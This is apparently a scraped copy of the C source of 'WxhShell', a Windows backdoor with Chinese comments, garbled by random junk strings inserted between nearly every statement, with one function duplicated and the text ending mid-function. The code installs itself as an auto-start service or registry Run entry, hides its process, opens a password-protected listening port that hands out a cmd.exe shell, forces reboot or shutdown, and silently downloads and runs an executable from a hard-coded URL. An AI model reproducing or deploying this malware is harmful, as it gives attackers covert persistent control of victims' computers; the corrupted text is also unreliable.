tY |[iO./zP PROCNTQSIP NtQueryInformationProcess; 3%(r,AD Be@g|'r static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R|(X_A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I50LysM 1c#\CO1l HANDLE hProcess; \9OKf|#j PROCESS_BASIC_INFORMATION pbi; !9NF@e'&! A32Sdr'D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?2da6v,t if(NULL == hInst ) return 0; yp$jLBA -hW>1s< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xwo+iZ(a g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Hz%0zP& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $`W3`}#fM O&aD]~| if (!NtQueryInformationProcess) return 0;
rn(
drG Zl&ED{k< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2;"vF9WMm if(!hProcess) return 0; 8%u|[Si; $`7Fk%#+e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6M7GPHah
0n6eWwY CloseHandle(hProcess); R[l`# I w (RRu~J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GB}\ 7a if(hProcess==NULL) return 0; HAI)+J %vy,A* HMODULE hMod; Gr&e]M[ l char procName[255]; 3bezYk unsigned long cbNeeded; )8g&lyT =dHdq D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h%u!UHA +JC"@
CloseHandle(hProcess); '@+q_v@Jl Ew{*)r)m if(strstr(procName,"services")) return 1; // 以服务启动 !2HF|x$ ;`pIq-= return 0; // 注册表启动 YHom9&A } }]dzY( 1+-Go}I // 主模块 *q=\e 9 int StartWxhshell(LPSTR lpCmdLine) 7J5jf231 { eDP&W$s# SOCKET wsl; 12'MzIsU's BOOL val=TRUE; ,N,@9p int port=0; o:ow"cOEf struct sockaddr_in door; u? >x cSB_b.@"1 if(wscfg.ws_autoins) Install(); r vq{Dfo= >gL&a#<S port=atoi(lpCmdLine); .!L{yU, !m~r0M7 if(port<=0) port=wscfg.ws_port; Wd!Z`,R 6(7{|iY
WSADATA data; &L?]w=* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wAW{{ p Tf!6N<dRXR if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r*mSnPz\q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CfS;F door.sin_family = AF_INET; VhLfSN>W door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ws0)B8y,| door.sin_port = htons(port); LqI&1$# 2^`k6V! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ ~yd closesocket(wsl); =&k[qqxg return 1; 9pj6`5Zn@6 } ^Tj{}<yT 73S
N\ if(listen(wsl,2) == INVALID_SOCKET) { E>-I
|X"L1 closesocket(wsl); G?b*e|@S return 1; A7#nBHwxZ } Y=Ic<WHR Wxhshell(wsl); ^fO9oPM| WSACleanup(); KwaxNb5 T zS?WYF return 0; }BT0dKx 0/|Ax-dK } sl@>GbnS 4HZXv\$ // 以NT服务方式启动 XABP}|aWK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VuTTWBx { HbPn<x^7 DWORD status = 0; 6hR `sE DWORD specificError = 0xfffffff; PU%f`) *PFQ serviceStatus.dwServiceType = SERVICE_WIN32; %zY5'$v ` serviceStatus.dwCurrentState = SERVICE_START_PENDING; x<rS2d-Y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P~lU`.X} serviceStatus.dwWin32ExitCode = 0; t OJyj49^a serviceStatus.dwServiceSpecificExitCode = 0; %ueD3;V serviceStatus.dwCheckPoint = 0; }.8yKj^p serviceStatus.dwWaitHint = 0; \i-CTv6f `ItoL7bi hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kzK9. if (hServiceStatusHandle==0) return; x%ccNP0 NLx TiyQy status = GetLastError(); fyT|xI`iD if (status!=NO_ERROR) >iG3!Td)y { -@]b7J?`k serviceStatus.dwCurrentState = SERVICE_STOPPED; 6!itr" serviceStatus.dwCheckPoint = 0; ]LxE#R5V serviceStatus.dwWaitHint = 0; OJA_OqVp$K serviceStatus.dwWin32ExitCode = status; ojm IEzsz serviceStatus.dwServiceSpecificExitCode = specificError; 3HcduJntl SetServiceStatus(hServiceStatusHandle, &serviceStatus); noz1W ] return; Yd~J( } #ucb jy>?+hm? serviceStatus.dwCurrentState = SERVICE_RUNNING; 8b-mW>xsA serviceStatus.dwCheckPoint = 0; }:$ot18 serviceStatus.dwWaitHint = 0; NySa%7@CD if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (dyY@={q } kmu`sk" d)Z&_v<| // 处理NT服务事件,比如:启动、停止 o+XQMg VOID WINAPI NTServiceHandler(DWORD fdwControl) +rSU { CSW+UaE switch(fdwControl) Gl|n }wo$ { z>y#^f)r case SERVICE_CONTROL_STOP: #l- 0$ serviceStatus.dwWin32ExitCode = 0; q o^mp serviceStatus.dwCurrentState = SERVICE_STOPPED; ~UeTV?) serviceStatus.dwCheckPoint = 0; a%kvC#B serviceStatus.dwWaitHint = 0; h* 1T3U$ { R)SY#*Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); <z#Fj`2{ } -L6CEe return; T2rBH]5 case SERVICE_CONTROL_PAUSE: /!;v$es
S serviceStatus.dwCurrentState = SERVICE_PAUSED; kQd|qZ=:w break; i0+e3!QU case SERVICE_CONTROL_CONTINUE: I#;dS!W"' serviceStatus.dwCurrentState = SERVICE_RUNNING; [ "3s break; zAklS 7L case SERVICE_CONTROL_INTERROGATE: L{r 4hL [
break; kc=Z6(= }; L$);50E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |`o1B;lc } 1+7_L`SB 0&Ftx%6% // 标准应用程序主函数 3< 6h~ek) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6:; >id${ { !m-`~3P#l, .GNyADQp // 获取操作系统版本 'PFjZGaKR OsIsNt=GetOsVer(); q`L)^In" GetModuleFileName(NULL,ExeFile,MAX_PATH); Qmo}esb'(
#QcRN?s // 从命令行安装 3}mg7KV& if(strpbrk(lpCmdLine,"iI")) Install(); jgPUR#) MXEI/mDYK // 下载执行文件 T=sAy/1oR if(wscfg.ws_downexe) { ibwV#6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1HAnOy0 WinExec(wscfg.ws_filenam,SW_HIDE); =v<A&4 } 0QfDg DX -Hw3rv3o if(!OsIsNt) { gdqBT]j // 如果时win9x,隐藏进程并且设置为注册表启动 ]yqE6Lf9 HideProc(); EH M 59s|B StartWxhshell(lpCmdLine); }#4Ek8nFR } cjg~?R else P,-5af*; if(StartFromService()) 6P>}7R} // 以服务方式启动 =0PGE#d{t StartServiceCtrlDispatcher(DispatchTable);
w >2G@ else I"3C/ pU2 // 普通方式启动 6H U*, StartWxhshell(lpCmdLine); P3=#<Q. lP]Y^Gz return 0; G'w!Aw s } ?)k]Vg. \.H9e/vU` Z^4+ 88 vp!F6ZwO =========================================== +'olC^?5 } )YAU|sCAi$ h2Th)&Fb> !'BXc%`x[ O
j:I @c X9FO"(J " nIfAG^?|* vbtZ5Gm #include <stdio.h> S|LY U!IWZ #include <string.h> $^?VyHXvY #include <windows.h> p19@to5l #include <winsock2.h> r`EjD}2d #include <winsvc.h> >s"/uo #include <urlmon.h> fvi0gE@bd 6\K\d_x #pragma comment (lib, "Ws2_32.lib") Y[}A4` #pragma comment (lib, "urlmon.lib") );t+~YPS CqZHs
9+e& #define MAX_USER 100 // 最大客户端连接数 i+~BVb #define BUF_SOCK 200 // sock buffer 2?Jw0Wq5D #define KEY_BUFF 255 // 输入 buffer tQNrDp+ C3f\E: D) #define REBOOT 0 // 重启 6hYz^}2g #define SHUTDOWN 1 // 关机 Xa?igbgAwx NqOX);'L0 #define DEF_PORT 5000 // 监听端口 } -;)G~h/" <)(W7#Ks #define REG_LEN 16 // 注册表键长度 HKT, 5 #define SVC_LEN 80 // NT服务名长度 ,i<cst)$u hf2bM
`d // 从dll定义API Avi_]h& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y&Fg2_\"> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H7;,Kr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y2.zT6i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eXK3W2XF .f-=gZ* * // wxhshell配置信息 eh]syeKBj struct WSCFG { .lP',hn int ws_port; // 监听端口 5<v1v& char ws_passstr[REG_LEN]; // 口令 Udn Rsp9S int ws_autoins; // 安装标记, 1=yes 0=no q
jc4IW t~ char ws_regname[REG_LEN]; // 注册表键名 Cfd* Q char ws_svcname[REG_LEN]; // 服务名 ~AX~z) char ws_svcdisp[SVC_LEN]; // 服务显示名 _FE uQ9E char ws_svcdesc[SVC_LEN]; // 服务描述信息 pXN'vP char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?H@<8Ra=3 int ws_downexe; // 下载执行标记, 1=yes 0=no s9nPxC&A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2Zuo).2a. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '#LzQ6Pn FG{les+: }; QdQ1+*/+U Y.Z:H!P);$ // default Wxhshell configuration K@cWg C struct WSCFG wscfg={DEF_PORT, ~KkC089D "xuhuanlingzhe", #m?)XB^_ 1, +BL4 6Bq "Wxhshell", {dpDQP +! "Wxhshell", sHk>ek]2I "WxhShell Service", jTt9;?) "Wrsky Windows CmdShell Service", 0!lWxS0#= "Please Input Your Password: ", ][?J8F 1, QOg >|"KL "http://www.wrsky.com/wxhshell.exe", `m<O!I"A "Wxhshell.exe" >|kD(}Axf }; `kQosQV gz[3 xH~ // 消息定义模块 J-dB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (,QWK08 char *msg_ws_prompt="\n\r? for help\n\r#>"; !\BZ_guz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YJ"D"QD char *msg_ws_ext="\n\rExit."; j"h/v7~ char *msg_ws_end="\n\rQuit."; [*zg? ur char *msg_ws_boot="\n\rReboot..."; JOt(r}gU char *msg_ws_poff="\n\rShutdown..."; Y01!D"{\ char *msg_ws_down="\n\rSave to "; SiX<tj#HH\ ug2W{D char *msg_ws_err="\n\rErr!"; Q35\wQ# char *msg_ws_ok="\n\rOK!"; p2t04p! G(#t,}S}@ char ExeFile[MAX_PATH]; C7NSmZ int nUser = 0; =VuSi(d;e{ HANDLE handles[MAX_USER]; p5or"tK int OsIsNt; H#;*kc
a4 GK'p$`oJm SERVICE_STATUS serviceStatus; =tt3nfZ9 SERVICE_STATUS_HANDLE hServiceStatusHandle; q: FhuOP ztSQrDbbb4 // 函数声明 (M$>*O3SR int Install(void); HV/:OCK int Uninstall(void); ^OWG9`p+ int DownloadFile(char *sURL, SOCKET wsh); =r ^_D= int Boot(int flag); |R@T`dW void HideProc(void); o68i0aFW int GetOsVer(void); T
pF[-fO int Wxhshell(SOCKET wsl); EC,`t*< void TalkWithClient(void *cs); MU
a[}? int CmdShell(SOCKET sock); w($a'&d`0 int StartFromService(void); TMPk)N1Ka int StartWxhshell(LPSTR lpCmdLine); iUR ij@ YFB>GQ; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a!: N
C VOID WINAPI NTServiceHandler( DWORD fdwControl ); V)/J2 -w ~r8<|$; // 数据结构和表定义 0@cIj
] SERVICE_TABLE_ENTRY DispatchTable[] = .4WJk>g { T*C25l;w {wscfg.ws_svcname, NTServiceMain}, \uPzj_kU6 {NULL, NULL} 7mMGH( }; MukJ^h*V a,RCK~GR // 自我安装 A[;deHg= int Install(void) MYy58N { vQi=13Pw char svExeFile[MAX_PATH]; PZ8,E{V HKEY key; ;i6~iLY strcpy(svExeFile,ExeFile); \M\7k5$ <L qJg // 如果是win9x系统,修改注册表设为自启动 %w65)BFQ if(!OsIsNt) { L>sLb(2\i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <6 Rec^QF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !mUJ["# RegCloseKey(key); ^)>( <6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }BlyEcw'aN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r4*H96l RegCloseKey(key); $Xlr@)% return 0; !X-\;3kC0 } a#r{FoU{M8 }
J3
Q_ } kMch else { v~L\[&|_
FJ~d&L\l // 如果是NT以上系统,安装为系统服务 lF}@@e)N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @L!^2v if (schSCManager!=0) gp`@dn'; { OmWEa SC_HANDLE schService = CreateService f't.?M ( K)LoZ^x0) schSCManager, mv8H:T wscfg.ws_svcname,
VR>!Ch wscfg.ws_svcdisp, t(*n[7e SERVICE_ALL_ACCESS, ch0^g8@Q[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (X"5x]7] SERVICE_AUTO_START, %(eQ1ir + SERVICE_ERROR_NORMAL, =figat svExeFile, T/P\j0hR NULL, 'xqyG XI NULL, ?Cf'IBpN NULL, ?; W"=I*3 NULL, ~3:hed7: NULL YTefEG]|q ); NzQvciJ@" if (schService!=0) }?Y -I>
w { EZB0qZIp CloseServiceHandle(schService); -6- sI CloseServiceHandle(schSCManager); '69)m~B0a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .2JZ7 strcat(svExeFile,wscfg.ws_svcname); }NC$Ce if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cDz@3So.b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n?r8ZDJ' RegCloseKey(key); pwfQqPC#_ return 0; @9 S :: } *J[P#y } 2Cp4aTGv# CloseServiceHandle(schSCManager); 3pWav
1" } L.@$rFhA } |9S8sfw <h/q^| tZ{ return 1; M{24MF } n>.@@ h8UhrD<: // 自我卸载 u/j\pDl. int Uninstall(void) Hu<]*(lK% { I(~([F2 HKEY key; *bFWNJ}`q .Bl:hk\ if(!OsIsNt) { *x2!N$b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fs#9~b3 RegDeleteValue(key,wscfg.ws_regname); L%v@|COQ3 RegCloseKey(key); ]j7`3%4uK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y+iRZ%V^ RegDeleteValue(key,wscfg.ws_regname); 75Z|meG~ RegCloseKey(key); d {U%q
d return 0; +&G(AW } |"LHo
H } fU$Jh/#": } 8X`DFeJ else { 3 twA5)v zS;ruK%2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k)>H=?mI if (schSCManager!=0) n`Pl:L*kG { Q.B)?w m SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1r>]XhRFZ if (schService!=0) ~fkcal1@ { q#AEu
xI1 if(DeleteService(schService)!=0) { h<&GdK2U+ CloseServiceHandle(schService); 4Px|:7~wT8 CloseServiceHandle(schSCManager); a+LK~mC* return 0; ,HDhP } ASy?^Jrs5 CloseServiceHandle(schService); 7(o`>7x* } FA,n> CloseServiceHandle(schSCManager); o$L%t@ } WZ?>F } }TMO>eB' N@PwC( return 1; p}pRf@(`\ } 0a:oC(Ak
`:3nF' // 从指定url下载文件 ?X|q int DownloadFile(char *sURL, SOCKET wsh) {ax]t-ZwJ5 { Rf4K Rhi HRESULT hr; Fvk=6$d2 char seps[]= "/"; _$$.5?4 char *token; ^)]U5+g? char *file; F,S)P`? char myURL[MAX_PATH]; =A,B'n\R char myFILE[MAX_PATH]; `G!HGzVx;j 4$VDJ strcpy(myURL,sURL); o
A2oX token=strtok(myURL,seps); )e0kr46 while(token!=NULL) P@UE.0NYX { ~ `}),aA file=token; 0^>,
token=strtok(NULL,seps); H}GGUE&c* } &mtt,]6C_ \12G,tBH GetCurrentDirectory(MAX_PATH,myFILE); {?lndBP< strcat(myFILE, "\\"); z**2-4 z strcat(myFILE, file); (mP{A(kwJ send(wsh,myFILE,strlen(myFILE),0); |1CX?8)b= send(wsh,"...",3,0); tm5{h{AM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rVP\F{Q4Tr if(hr==S_OK) 0e0)1;t\ return 0; H'#06zP>5 else h9 DUS,G9, return 1; ,(q]
$eOZ grE(8M } 0#TL$?=| sTP\} // 系统电源模块 L~/,;PHN int Boot(int flag) f$:Y'$Z1 { 5B)&;[ HANDLE hToken; 39O rY TOKEN_PRIVILEGES tkp; 3 orZBT I]d-WTd if(OsIsNt) { w.58=Pr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 99*k&mb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j|pTbOgk% tkp.PrivilegeCount = 1; PY_8*~Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4r4 #u'Om AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T5T%[Gv if(flag==REBOOT) { a6vej if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _ab8z]H return 0; iw MxTty } N4,oO H~ else { F<{,W-my ` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Az y`4 return 0; .g}N@ } BNJ0D } 8GW+: else { (rhlK}
C if(flag==REBOOT) { o} QP+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eZa7brC| return 0; V5$Gb6?K } plPPf+\ else { J|{50?S{^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
t* Ct* return 0; "XxmiK } ^cNuEF9 } rM.Pc?Z >ymn&_zlT return 1; 34Gu @" } ^z!=,M<+{ BA1H)% // win9x进程隐藏模块 L}{3_/t void HideProc(void) "{vWdY|" { octQ[QXo# 7~+Fec`Ut* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mvH8hvD9 if ( hKernel != NULL ) ?3K~4-!?/ { 'V^M+ng pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tf 7HhOCYX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gn4b*Y&M]3 FreeLibrary(hKernel); (N&i4O-I } py7Zh%k w( SY return; A^M]vk%dg } 'cc8xC $"NH{%95} // 获取操作系统版本 hfI=9x/ int GetOsVer(void) zZPWE"u} { 6bUP]^d OSVERSIONINFO winfo; 0,~s0]h0V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "{~FEx4 GetVersionEx(&winfo); ;b65s9n^b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *w0|`[P+h return 1; *(5;5r else @!oN]0`F; return 0; `XE>Td>Bs } ZKrK>X M2ex
3m // 客户端句柄模块 G{6@]72 int Wxhshell(SOCKET wsl) )jl@hnA { Xj+_"0
# SOCKET wsh; I2HV{1(i struct sockaddr_in client; |~%RSS~b* DWORD myID; Epp>L.?r .S|T{DMQ[ while(nUser<MAX_USER) j;uUM6 { >
"rM\ Q int nSize=sizeof(client); @mZK[*Ak<* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nI?*[y} if(wsh==INVALID_SOCKET) return 1; @d{}M)6\! *LhwIY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1Q
FsT if(handles[nUser]==0) 1lIs
jBo g closesocket(wsh); IY6Ll6OK else X%s5D&gr nUser++; Z*w({k7] } Zs/-/C| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,=C ipL9] \?v&JmEU return 0; qspGNu } p/_W*0/i A@|Z^T: // 关闭 socket ^_v94!a9 void CloseIt(SOCKET wsh) p_BG#dRM { ^PFiO 12 closesocket(wsh); KB~1]cYMp nUser--;
,d/$!Yf ExitThread(0); {@L{l1|0 } [dLc+h1{B `:Wyw<^ // 客户端请求句柄 !NNPg?Y void TalkWithClient(void *cs) z =H?@z { KL?<lp" |0Fo{ SOCKET wsh=(SOCKET)cs; yxx_%9 X char pwd[SVC_LEN]; 4w%hvJ char cmd[KEY_BUFF]; z)KoK`\mE" char chr[1]; h(nE)j int i,j; s[{8:Px Ay6T*Nu` while (nUser < MAX_USER) { 9nQyPb6 A4l"^dZc if(wscfg.ws_passstr) { _:Q^mV=;j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }P%gwgPK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q*R~gEi#yk //ZeroMemory(pwd,KEY_BUFF);
i / o i=0; `2U,#nZ 4 while(i<SVC_LEN) { V9<E`C chD7^&5] // 设置超时 fXnTqKAfu6 fd_set FdRead; _Q^jk0K8ga struct timeval TimeOut; =aj|auu FD_ZERO(&FdRead); &/uakkS FD_SET(wsh,&FdRead); U[;ECw@ TimeOut.tv_sec=8; ;(,GS@sP TimeOut.tv_usec=0; $/Wec,`& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
PC@HNto{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EhO\N\p(Q= ! weYOOu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zQ<&[Tuwa pwd=chr[0]; W'k&DKhTqF if(chr[0]==0xd || chr[0]==0xa) { 5[zr(FuE pwd=0; !^L}LtqHI break; as3uz } 9VaSCB i++; |af<2(d } k(>J?\iNW PNLlJlYlP // 如果是非法用户,关闭 socket 24InwR|^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OdyL
j } A|IPQ= jyg>'"W send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gHUW1E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >@4Ds"Ye"O 056yhB while(1) { yT3K 2A i)@vHh82 ZeroMemory(cmd,KEY_BUFF); /-<]v3J 1: cq\Y // 自动支持客户端 telnet标准 2mj>,kS?c j=0; |OF3J,q while(j<KEY_BUFF) { bU}!bol if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Y\q&} cmd[j]=chr[0]; -{eiV0<^ if(chr[0]==0xa || chr[0]==0xd) { 7 je1vNs cmd[j]=0; T;3~teVYB break; )`5-rm~* } D//58z& j++; O{]}{Ss } {XhpxJ__ )}w-;HX // 下载文件 2s 9U& if(strstr(cmd,"http://")) { 'uUa|J1mu send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?\Y7]_]/ if(DownloadFile(cmd,wsh)) 0x'Fi2=` send(wsh,msg_ws_err,strlen(msg_ws_err),0); $3#oA.~R/ else ~U?vB((j! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &n6
|L8 } I GcR5/3 else { ^kB9
I8u 0Z%<H\Z switch(cmd[0]) { S!}pL8OE T?__ // 帮助 ~;I{d7z,; case '?': { Yic'p0<
?V send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -IV-"-6( break; AQ.q?'vE) } 0XIrEwm@% // 安装
gAi}"}; case 'i': { Xw^:<Nx: if(Install()) DUm/0q& send(wsh,msg_ws_err,strlen(msg_ws_err),0); QQ,w:OjA0 else A@k=Mk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )^^}!U#|e break; ~>$(5s2 } ER$~kFE2yP // 卸载 L?y,xA_ case 'r': { [7)#3 if(Uninstall()) zgpPu4t send(wsh,msg_ws_err,strlen(msg_ws_err),0); VKrKA71Z~ else Z3T26Uk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7xT<|3 I break; R91u6r# }
D3 E!jQ1 // 显示 wxhshell 所在路径 2gjA>ET`N case 'p': { s{j3F char svExeFile[MAX_PATH]; zwHTtE strcpy(svExeFile,"\n\r"); `Sj8<O} strcat(svExeFile,ExeFile); naB[0I&
N send(wsh,svExeFile,strlen(svExeFile),0); =WP}RZ{S break; WHF:>0B } 2,%ne ( // 重启 ]gj@r[ case 'b': { .^1=*j(; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6Ue6b$xE if(Boot(REBOOT)) t!Av[K send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]CaWxM else { d}415 XA closesocket(wsh); *JOv ExitThread(0); q`;URkjk } 4 ]8PF break; z#*GPA8Em: } CUw
9aH // 关机 1r w>gR case 'd': { qOa-@MN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oq<# if(Boot(SHUTDOWN)) Bp6Evi send(wsh,msg_ws_err,strlen(msg_ws_err),0);
Q{Bj(f else { ||,;07 closesocket(wsh); &c@I4RV|q ExitThread(0); ZNA?`Z)f } ?,),%JQ break; ]g+(#x_.? } gA) F // 获取shell uTJ?@^nq case 's': { Cw^)}23R CmdShell(wsh); EGMcU|yL closesocket(wsh); wy&*6>. ExitThread(0); O "h+i>|l break; n:!J3pR } I2l'y8)d // 退出 a+BA~|u^ case 'x': { >\p}UPx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,!py
n<_ CloseIt(wsh); O 1X
! break; ZmHl~MR@ } |$ 0/:* // 离开 S I(8.$1 case 'q': { )*JTxMQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;~q)^.K3 closesocket(wsh); O@Kr}8^, WSACleanup(); Ua3ERBX{ exit(1); BR%: `uiQ< break; (c_hX( } ^
pR& } 2I4P":q } 1-[{4{R ( jyJ-qe // 提示信息 xX>448= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U)o8Tr } 4'8.f5 } / q!&I @<sP1`1 return; Z,&ywMm/G } Fu><lN7 4%{m7CK} // shell模块句柄 \%VoX`B int CmdShell(SOCKET sock) g?+P&FL#I { .lnD]Q STARTUPINFO si; O&0R ~<n ZeroMemory(&si,sizeof(si)); [(K^x?\Y0' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dk ?0r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,J#5Y. PROCESS_INFORMATION ProcessInfo; >) ^!gz8 char cmdline[]="cmd"; 7I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8vP)qy8 return 0; / L8=8 } D.GSl n#fg7d% // 自身启动模式 0?sp int StartFromService(void) Aws
TDM { _[7uLWyC9 typedef struct MG@19R2s { Dx%fW` DWORD ExitStatus; ;g*6NzdA DWORD PebBaseAddress; (^4%Fk&I- DWORD AffinityMask; C!P6Z10+j DWORD BasePriority; 5-QXvw(TH ULONG UniqueProcessId; ~!OjdE!u ULONG InheritedFromUniqueProcessId; U#P#YpD;== } PROCESS_BASIC_INFORMATION; "8X+F% J.d `tiN PROCNTQSIP NtQueryInformationProcess; w?C\YKF7 ?m.4f&X static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cu:-< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h^)2:0#{I dd+).* HANDLE hProcess; xVPGlU PROCESS_BASIC_INFORMATION pbi; I|:j~EY aU! UY( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); koU.`l. if(NULL == hInst ) return 0; td~3N,S #]'xUgcE9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cG'Wh@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ww~0k!8,t NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `xr%LsNn +1%6-g4" if (!NtQueryInformationProcess) return 0; ^s*} 0 )wRD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Z?
